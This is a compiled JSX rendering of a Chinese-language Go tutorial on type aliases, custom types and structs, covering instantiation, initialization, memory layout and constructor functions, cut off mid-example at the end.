e={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,i.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7ed3\u6784\u4f53"})}),"\n",(0,r.jsx)(e.h2,{id:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b",children:"\u7c7b\u578b\u522b\u540d\u548c\u81ea\u5b9a\u4e49\u7c7b\u578b"}),"\n",(0,r.jsx)(e.h3,{id:"\u81ea\u5b9a\u4e49\u7c7b\u578b",children:"\u81ea\u5b9a\u4e49\u7c7b\u578b"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728Go\u8bed\u8a00\u4e2d\u6709\u4e00\u4e9b\u57fa\u672c\u7684\u6570\u636e\u7c7b\u578b\uff0c\u5982",(0,r.jsx)(e.code,{children:"string"}),"\u3001",(0,r.jsx)(e.code,{children:"\u6574\u578b"}),"\u3001",(0,r.jsx)(e.code,{children:"\u6d6e\u70b9\u578b"}),"\u3001",(0,r.jsx)(e.code,{children:"\u5e03\u5c14"}),"\u7b49\u6570\u636e\u7c7b\u578b\uff0c Go\u8bed\u8a00\u4e2d\u53ef\u4ee5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u6765\u5b9a\u4e49\u81ea\u5b9a\u4e49\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u81ea\u5b9a\u4e49\u7c7b\u578b\u662f\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5168\u65b0\u7684\u7c7b\u578b\u3002\u6211\u4eec\u53ef\u4ee5\u57fa\u4e8e\u5185\u7f6e\u7684\u57fa\u672c\u7c7b\u578b\u5b9a\u4e49\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7struct\u5b9a\u4e49\u3002\u4f8b\u5982\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"//\u5c06MyInt\u5b9a\u4e49\u4e3aint\u7c7b\u578b\ntype MyInt int\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u8fc7",(0,r.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u7684\u5b9a\u4e49\uff0c",(0,r.jsx)(e.code,{children:"MyInt"}),"\u5c31\u662f\u4e00\u79cd\u65b0\u7684\u7c7b\u578b\uff0c\u5b83\u5177\u6709",(0,r.jsx)(e.code,{children:"int"}),"\u7684\u7279\u6027\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7c7b\u578b\u522b\u540d",children:"\u7c7b\u578b\u522b\u540d"}),"\n",(0,r.jsxs)(e.p,{children:["\u7c7b\u578b\u522b\u540d\u662f",(0,r.jsx)(e.code,{children:"Go1.9"}),"\u7248\u672c\u6dfb\u52a0\u7684\u65b0\u529f\u80fd\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u7c7b\u578b\u522b\u540d\u89c4\u5b9a\uff1aTypeAlias\u53ea\u662fType\u7684\u522b\u540d\uff0c\u672c\u8d28\u4e0aTypeAlias\u4e0eType\u662f\u540c\u4e00\u4e2a\u7c7b\u578b\u3002\u5c31\u50cf\u4e00\u4e2a\u5b69\u5b50\u5c0f\u65f6\u5019\u6709\u5c0f\u540d\u3001\u4e73\u540d\uff0c\u4e0a\u5b66\u540e\u7528\u5b66\u540d\uff0c\u82f1\u8bed\u8001\u5e08\u53c8\u4f1a\u7ed9\u4ed6\u8d77\u82f1\u6587\u540d\uff0c\u4f46\u8fd9\u4e9b\u540d\u5b57\u90fd\u6307\u7684\u662f\u4ed6\u672c\u4eba\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type TypeAlias = Type\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u4e4b\u524d\u89c1\u8fc7\u7684",(0,r.jsx)(e.code,{children:"rune"}),"\u548c",(0,r.jsx)(e.code,{children:"byte"}),"\u5c31\u662f\u7c7b\u578b\u522b\u540d\uff0c\u4ed6\u4eec\u7684\u5b9a\u4e49\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type byte = uint8\ntype rune = int32\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b",children:"\u7c7b\u578b\u5b9a\u4e49\u548c\u7c7b\u578b\u522b\u540d\u7684\u533a\u522b"}),"\n",(0,r.jsx)(e.p,{children:"\u7c7b\u578b\u522b\u540d\u4e0e\u7c7b\u578b\u5b9a\u4e49\u8868\u9762\u4e0a\u770b\u53ea\u6709\u4e00\u4e2a\u7b49\u53f7\u7684\u5dee\u5f02\uff0c\u6211\u4eec\u901a\u8fc7\u4e0b\u9762\u7684\u8fd9\u6bb5\u4ee3\u7801\u6765\u7406\u89e3\u5b83\u4eec\u4e4b\u95f4\u7684\u533a\u522b\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//\u7c7b\u578b\u5b9a\u4e49\ntype NewInt int\n\n//\u7c7b\u578b\u522b\u540d\ntype MyInt = int\n\nfunc main() {\n\tvar a NewInt\n\tvar b MyInt\n\t\n\tfmt.Printf("type of a:%T\\n", a) //type of a:main.NewInt\n\tfmt.Printf("type of b:%T\\n", b) //type of b:int\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u7ed3\u679c\u663e\u793aa\u7684\u7c7b\u578b\u662f",(0,r.jsx)(e.code,{children:"main.NewInt"}),"\uff0c\u8868\u793amain\u5305\u4e0b\u5b9a\u4e49\u7684",(0,r.jsx)(e.code,{children:"NewInt"}),"\u7c7b\u578b\u3002b\u7684\u7c7b\u578b\u662f",(0,r.jsx)(e.code,{children:"int"}),"\u3002",(0,r.jsx)(e.code,{children:"MyInt"}),"\u7c7b\u578b\u53ea\u4f1a\u5728\u4ee3\u7801\u4e2d\u5b58\u5728\uff0c\u7f16\u8bd1\u5b8c\u6210\u65f6\u5e76\u4e0d\u4f1a\u6709",(0,r.jsx)(e.code,{children:"MyInt"}),"\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u7ed3\u6784\u4f53",children:"\u7ed3\u6784\u4f53"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684\u57fa\u7840\u6570\u636e\u7c7b\u578b\u53ef\u4ee5\u8868\u793a\u4e00\u4e9b\u4e8b\u7269\u7684\u57fa\u672c\u5c5e\u6027\uff0c\u4f46\u662f\u5f53\u6211\u4eec\u60f3\u8868\u8fbe\u4e00\u4e2a\u4e8b\u7269\u7684\u5168\u90e8\u6216\u90e8\u5206\u5c5e\u6027\u65f6\uff0c\u8fd9\u65f6\u5019\u518d\u7528\u5355\u4e00\u7684\u57fa\u672c\u6570\u636e\u7c7b\u578b\u660e\u663e\u5c31\u65e0\u6cd5\u6ee1\u8db3\u9700\u6c42\u4e86\uff0cGo\u8bed\u8a00\u63d0\u4f9b\u4e86\u4e00\u79cd\u81ea\u5b9a\u4e49\u6570\u636e\u7c7b\u578b\uff0c\u53ef\u4ee5\u5c01\u88c5\u591a\u4e2a\u57fa\u672c\u6570\u636e\u7c7b\u578b\uff0c\u8fd9\u79cd\u6570\u636e\u7c7b\u578b\u53eb\u7ed3\u6784\u4f53\uff0c\u82f1\u6587\u540d\u79f0",(0,r.jsx)(e.code,{children:"struct"}),"\u3002 \u4e5f\u5c31\u662f\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,r.jsx)(e.code,{children:"struct"}),"\u6765\u5b9a\u4e49\u81ea\u5df1\u7684\u7c7b\u578b\u4e86\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u901a\u8fc7",(0,r.jsx)(e.code,{children:"struct"}),"\u6765\u5b9e\u73b0\u9762\u5411\u5bf9\u8c61\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49",children:"\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"type"}),"\u548c",(0,r.jsx)(e.code,{children:"struct"}),"\u5173\u952e\u5b57\u6765\u5b9a\u4e49\u7ed3\u6784\u4f53\uff0c\u5177\u4f53\u4ee3\u7801\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type \u7c7b\u578b\u540d struct {\n \u5b57\u6bb5\u540d \u5b57\u6bb5\u7c7b\u578b\n \u5b57\u6bb5\u540d \u5b57\u6bb5\u7c7b\u578b\n \u2026\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u7c7b\u578b\u540d\uff1a\u6807\u8bc6\u81ea\u5b9a\u4e49\u7ed3\u6784\u4f53\u7684\u540d\u79f0\uff0c\u5728\u540c\u4e00\u4e2a\u5305\u5185\u4e0d\u80fd\u91cd\u590d\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5b57\u6bb5\u540d\uff1a\u8868\u793a\u7ed3\u6784\u4f53\u5b57\u6bb5\u540d\u3002\u7ed3\u6784\u4f53\u4e2d\u7684\u5b57\u6bb5\u540d\u5fc5\u987b\u552f\u4e00\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5b57\u6bb5\u7c7b\u578b\uff1a\u8868\u793a\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u5177\u4f53\u7c7b\u578b\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"Person"}),"\uff08\u4eba\uff09\u7ed3\u6784\u4f53\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type person struct {\n\tname string\n\tcity string\n\tage int8\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u6837\u7c7b\u578b\u7684\u5b57\u6bb5\u4e5f\u53ef\u4ee5\u5199\u5728\u4e00\u884c\uff0c"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"type person1 struct {\n\tname, city string\n\tage int8\n}\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u6837\u6211\u4eec\u5c31\u62e5\u6709\u4e86\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"person"}),"\u7684\u81ea\u5b9a\u4e49\u7c7b\u578b\uff0c\u5b83\u6709",(0,r.jsx)(e.code,{children:"name"}),"\u3001",(0,r.jsx)(e.code,{children:"city"}),"\u3001",(0,r.jsx)(e.code,{children:"age"}),"\u4e09\u4e2a\u5b57\u6bb5\uff0c\u5206\u522b\u8868\u793a\u59d3\u540d\u3001\u57ce\u5e02\u548c\u5e74\u9f84\u3002\u8fd9\u6837\u6211\u4eec\u4f7f\u7528\u8fd9\u4e2a",(0,r.jsx)(e.code,{children:"person"}),"\u7ed3\u6784\u4f53\u5c31\u80fd\u591f\u5f88\u65b9\u4fbf\u7684\u5728\u7a0b\u5e8f\u4e2d\u8868\u793a\u548c\u5b58\u50a8\u4eba\u4fe1\u606f\u4e86\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u8bed\u8a00\u5185\u7f6e\u7684\u57fa\u7840\u6570\u636e\u7c7b\u578b\u662f\u7528\u6765\u63cf\u8ff0\u4e00\u4e2a\u503c\u7684\uff0c\u800c\u7ed3\u6784\u4f53\u662f\u7528\u6765\u63cf\u8ff0\u4e00\u7ec4\u503c\u7684\u3002\u6bd4\u5982\u4e00\u4e2a\u4eba\u6709\u540d\u5b57\u3001\u5e74\u9f84\u548c\u5c45\u4f4f\u57ce\u5e02\u7b49\uff0c\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u805a\u5408\u578b\u7684\u6570\u636e\u7c7b\u578b"}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316",children:"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u53ea\u6709\u5f53\u7ed3\u6784\u4f53\u5b9e\u4f8b\u5316\u65f6\uff0c\u624d\u4f1a\u771f\u6b63\u5730\u5206\u914d\u5185\u5b58\u3002\u4e5f\u5c31\u662f\u5fc5\u987b\u5b9e\u4f8b\u5316\u540e\u624d\u80fd\u4f7f\u7528\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u3002"}),"\n",(0,r.jsxs)(e.p,{children:["\u7ed3\u6784\u4f53\u672c\u8eab\u4e5f\u662f\u4e00\u79cd\u7c7b\u578b\uff0c\u6211\u4eec\u53ef\u4ee5\u50cf\u58f0\u660e\u5185\u7f6e\u7c7b\u578b\u4e00\u6837\u4f7f\u7528",(0,r.jsx)(e.code,{children:"var"}),"\u5173\u952e\u5b57\u58f0\u660e\u7ed3\u6784\u4f53\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"var \u7ed3\u6784\u4f53\u5b9e\u4f8b \u7ed3\u6784\u4f53\u7c7b\u578b\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u57fa\u672c\u5b9e\u4f8b\u5316",children:"\u57fa\u672c\u5b9e\u4f8b\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type person struct {\n\tname string\n\tcity string\n\tage int8\n}\n\nfunc main() {\n\tvar p1 person\n\tp1.name = "\u6c99\u6cb3\u5a1c\u624e"\n\tp1.city = "\u5317\u4eac"\n\tp1.age = 18\n\tfmt.Printf("p1=%v\\n", p1) //p1={\u6c99\u6cb3\u5a1c\u624e \u5317\u4eac 18}\n\tfmt.Printf("p1=%#v\\n", p1) //p1=main.person{name:"\u6c99\u6cb3\u5a1c\u624e", city:"\u5317\u4eac", age:18}\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7",(0,r.jsx)(e.code,{children:"."}),"\u6765\u8bbf\u95ee\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\uff08\u6210\u5458\u53d8\u91cf\uff09,\u4f8b\u5982",(0,r.jsx)(e.code,{children:"p1.name"}),"\u548c",(0,r.jsx)(e.code,{children:"p1.age"}),"\u7b49\u3002"]}),"\n",(0,r.jsx)(e.h4,{id:"\u533f\u540d\u7ed3\u6784\u4f53",children:"\u533f\u540d\u7ed3\u6784\u4f53"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u5b9a\u4e49\u4e00\u4e9b\u4e34\u65f6\u6570\u636e\u7ed3\u6784\u7b49\u573a\u666f\u4e0b\u8fd8\u53ef\u4ee5\u4f7f\u7528\u533f\u540d\u7ed3\u6784\u4f53\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'package main\n \nimport (\n "fmt"\n)\n \nfunc main() {\n var user struct{Name string; Age int}\n user.Name = "\u5c0f\u738b\u5b50"\n user.Age = 18\n fmt.Printf("%#v\\n", user)\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53",children:"\u521b\u5efa\u6307\u9488\u7c7b\u578b\u7ed3\u6784\u4f53"}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u8fd8\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528",(0,r.jsx)(e.code,{children:"new"}),"\u5173\u952e\u5b57\u5bf9\u7ed3\u6784\u4f53\u8fdb\u884c\u5b9e\u4f8b\u5316\uff0c\u5f97\u5230\u7684\u662f\u7ed3\u6784\u4f53\u7684\u5730\u5740\u3002 \u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'var p2 = new(person)\nfmt.Printf("%T\\n", p2) //*main.person\nfmt.Printf("p2=%#v\\n", p2) //p2=&main.person{name:"", city:"", age:0}\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4ece\u6253\u5370\u7684\u7ed3\u679c\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u51fa",(0,r.jsx)(e.code,{children:"p2"}),"\u662f\u4e00\u4e2a\u7ed3\u6784\u4f53\u6307\u9488\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9700\u8981\u6ce8\u610f\u7684\u662f\u5728Go\u8bed\u8a00\u4e2d\u652f\u6301\u5bf9\u7ed3\u6784\u4f53\u6307\u9488\u76f4\u63a5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"."}),"\u6765\u8bbf\u95ee\u7ed3\u6784\u4f53\u7684\u6210\u5458\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'var p2 = new(person)\np2.name = "\u5c0f\u738b\u5b50"\np2.age = 28\np2.city = "\u4e0a\u6d77"\nfmt.Printf("p2=%#v\\n", p2) //p2=&main.person{name:"\u5c0f\u738b\u5b50", city:"\u4e0a\u6d77", age:28}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316",children:"\u53d6\u7ed3\u6784\u4f53\u7684\u5730\u5740\u5b9e\u4f8b\u5316"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"&"}),"\u5bf9\u7ed3\u6784\u4f53\u8fdb\u884c\u53d6\u5730\u5740\u64cd\u4f5c\u76f8\u5f53\u4e8e\u5bf9\u8be5\u7ed3\u6784\u4f53\u7c7b\u578b\u8fdb\u884c\u4e86\u4e00\u6b21",(0,r.jsx)(e.code,{children:"new"}),"\u5b9e\u4f8b\u5316\u64cd\u4f5c\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p3 := &person{}\nfmt.Printf("%T\\n", p3) //*main.person\nfmt.Printf("p3=%#v\\n", p3) //p3=&main.person{name:"", city:"", age:0}\np3.name = "\u4e03\u7c73"\np3.age = 30\np3.city = "\u6210\u90fd"\nfmt.Printf("p3=%#v\\n", p3) //p3=&main.person{name:"\u4e03\u7c73", city:"\u6210\u90fd", age:30}\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:'p3.name = "\u4e03\u7c73"'}),"\u5176\u5b9e\u5728\u5e95\u5c42\u662f",(0,r.jsx)(e.code,{children:'(*p3).name = "\u4e03\u7c73"'}),"\uff0c\u8fd9\u662fGo\u8bed\u8a00\u5e2e\u6211\u4eec\u5b9e\u73b0\u7684\u8bed\u6cd5\u7cd6\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316",children:"\u7ed3\u6784\u4f53\u521d\u59cb\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u6ca1\u6709\u521d\u59cb\u5316\u7684\u7ed3\u6784\u4f53\uff0c\u5176\u6210\u5458\u53d8\u91cf\u90fd\u662f\u5bf9\u5e94\u5176\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type person struct {\n\tname string\n\tcity string\n\tage int8\n}\n\nfunc main() {\n\tvar p4 person\n\tfmt.Printf("p4=%#v\\n", p4) //p4=main.person{name:"", city:"", age:0}\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316",children:"\u4f7f\u7528\u952e\u503c\u5bf9\u521d\u59cb\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528\u952e\u503c\u5bf9\u5bf9\u7ed3\u6784\u4f53\u8fdb\u884c\u521d\u59cb\u5316\u65f6\uff0c\u952e\u5bf9\u5e94\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\uff0c\u503c\u5bf9\u5e94\u8be5\u5b57\u6bb5\u7684\u521d\u59cb\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p5 := person{\n\tname: "\u5c0f\u738b\u5b50",\n\tcity: "\u5317\u4eac",\n\tage: 18,\n}\nfmt.Printf("p5=%#v\\n", p5) //p5=main.person{name:"\u5c0f\u738b\u5b50", city:"\u5317\u4eac", age:18}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4e5f\u53ef\u4ee5\u5bf9\u7ed3\u6784\u4f53\u6307\u9488\u8fdb\u884c\u952e\u503c\u5bf9\u521d\u59cb\u5316\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p6 := &person{\n\tname: "\u5c0f\u738b\u5b50",\n\tcity: "\u5317\u4eac",\n\tage: 18,\n}\nfmt.Printf("p6=%#v\\n", p6) //p6=&main.person{name:"\u5c0f\u738b\u5b50", city:"\u5317\u4eac", age:18}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u67d0\u4e9b\u5b57\u6bb5\u6ca1\u6709\u521d\u59cb\u503c\u7684\u65f6\u5019\uff0c\u8be5\u5b57\u6bb5\u53ef\u4ee5\u4e0d\u5199\u3002\u6b64\u65f6\uff0c\u6ca1\u6709\u6307\u5b9a\u521d\u59cb\u503c\u7684\u5b57\u6bb5\u7684\u503c\u5c31\u662f\u8be5\u5b57\u6bb5\u7c7b\u578b\u7684\u96f6\u503c\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p7 := &person{\n\tcity: "\u5317\u4eac",\n}\nfmt.Printf("p7=%#v\\n", p7) //p7=&main.person{name:"", city:"\u5317\u4eac", age:0}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316",children:"\u4f7f\u7528\u503c\u7684\u5217\u8868\u521d\u59cb\u5316"}),"\n",(0,r.jsx)(e.p,{children:"\u521d\u59cb\u5316\u7ed3\u6784\u4f53\u7684\u65f6\u5019\u53ef\u4ee5\u7b80\u5199\uff0c\u4e5f\u5c31\u662f\u521d\u59cb\u5316\u7684\u65f6\u5019\u4e0d\u5199\u952e\uff0c\u76f4\u63a5\u5199\u503c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p8 := &person{\n\t"\u6c99\u6cb3\u5a1c\u624e",\n\t"\u5317\u4eac",\n\t28,\n}\nfmt.Printf("p8=%#v\\n", p8) //p8=&main.person{name:"\u6c99\u6cb3\u5a1c\u624e", city:"\u5317\u4eac", age:28}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4f7f\u7528\u8fd9\u79cd\u683c\u5f0f\u521d\u59cb\u5316\u65f6\uff0c\u9700\u8981\u6ce8\u610f\uff1a"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5fc5\u987b\u521d\u59cb\u5316\u7ed3\u6784\u4f53\u7684\u6240\u6709\u5b57\u6bb5\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u521d\u59cb\u503c\u7684\u586b\u5145\u987a\u5e8f\u5fc5\u987b\u4e0e\u5b57\u6bb5\u5728\u7ed3\u6784\u4f53\u4e2d\u7684\u58f0\u660e\u987a\u5e8f\u4e00\u81f4\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u8be5\u65b9\u5f0f\u4e0d\u80fd\u548c\u952e\u503c\u521d\u59cb\u5316\u65b9\u5f0f\u6df7\u7528\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40",children:"\u7ed3\u6784\u4f53\u5185\u5b58\u5e03\u5c40"}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53\u5360\u7528\u4e00\u5757\u8fde\u7eed\u7684\u5185\u5b58\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type test struct {\n\ta int8\n\tb int8\n\tc int8\n\td int8\n}\nn := test{\n\t1, 2, 3, 4,\n}\nfmt.Printf("n.a %p\\n", &n.a)\nfmt.Printf("n.b %p\\n", &n.b)\nfmt.Printf("n.c %p\\n", &n.c)\nfmt.Printf("n.d %p\\n", &n.d)\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-bash",children:"n.a 0xc0000a0060\nn.b 0xc0000a0061\nn.c 0xc0000a0062\nn.d 0xc0000a0063\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u3010\u8fdb\u9636\u77e5\u8bc6\u70b9\u3011\u5173\u4e8eGo\u8bed\u8a00\u4e2d\u7684\u5185\u5b58\u5bf9\u9f50\u63a8\u8350\u9605\u8bfb:",(0,r.jsx)(e.a,{href:"https://www.liwenzhou.com/posts/Go/struct-memory-layout/",children:"Go\u7ed3\u6784\u4f53\u7684\u5185\u5b58\u5bf9\u9f50"})]}),"\n",(0,r.jsx)(e.h4,{id:"\u7a7a\u7ed3\u6784\u4f53",children:"\u7a7a\u7ed3\u6784\u4f53"}),"\n",(0,r.jsx)(e.p,{children:"\u7a7a\u7ed3\u6784\u4f53\u662f\u4e0d\u5360\u7528\u7a7a\u95f4\u7684\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"var v struct{}\nfmt.Println(unsafe.Sizeof(v)) // 0\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u9762\u8bd5\u9898",children:"\u9762\u8bd5\u9898"}),"\n",(0,r.jsx)(e.p,{children:"\u8bf7\u95ee\u4e0b\u9762\u4ee3\u7801\u7684\u6267\u884c\u7ed3\u679c\u662f\u4ec0\u4e48\uff1f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type student struct {\n\tname string\n\tage int\n}\n\nfunc main() {\n\tm := make(map[string]*student)\n\tstus := []student{\n\t\t{name: "\u5c0f\u738b\u5b50", age: 18},\n\t\t{name: "\u5a1c\u624e", age: 23},\n\t\t{name: "\u5927\u738b\u516b", age: 9000},\n\t}\n\n\tfor _, stu := range stus {\n\t\tm[stu.name] = &stu\n\t}\n\tfor k, v := range m {\n\t\tfmt.Println(k, "=>", v.name)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u6784\u9020\u51fd\u6570",children:"\u6784\u9020\u51fd\u6570"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u7684\u7ed3\u6784\u4f53\u6ca1\u6709\u6784\u9020\u51fd\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u81ea\u5df1\u5b9e\u73b0\u3002 \u4f8b\u5982\uff0c\u4e0b\u65b9\u7684\u4ee3\u7801\u5c31\u5b9e\u73b0\u4e86\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"person"}),"\u7684\u6784\u9020\u51fd\u6570\u3002 \u56e0\u4e3a",(0,r.jsx)(e.code,{children:"struct"}),"\u662f\u503c\u7c7b\u578b\uff0c\u5982\u679c\u7ed3\u6784\u4f53\u6bd4\u8f83\u590d\u6742\u7684\u8bdd\uff0c\u503c\u62f7\u8d1d\u6027\u80fd\u5f00\u9500\u4f1a\u6bd4\u8f83\u5927\uff0c\u6240\u4ee5\u8be5\u6784\u9020\u51fd\u6570\u8fd4\u56de\u7684\u662f\u7ed3\u6784\u4f53\u6307\u9488\u7c7b\u578b\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"func newPerson(name, city string, age int8) *person {\n\treturn &person{\n\t\tname: name,\n\t\tcity: city,\n\t\tage: age,\n\t}\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8c03\u7528\u6784\u9020\u51fd\u6570"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'p9 := newPerson("\u5f20\u4e09", "\u6c99\u6cb3", 90)\nfmt.Printf("%#v\\n", p9) //&main.person{name:"\u5f20\u4e09", city:"\u6c99\u6cb3", 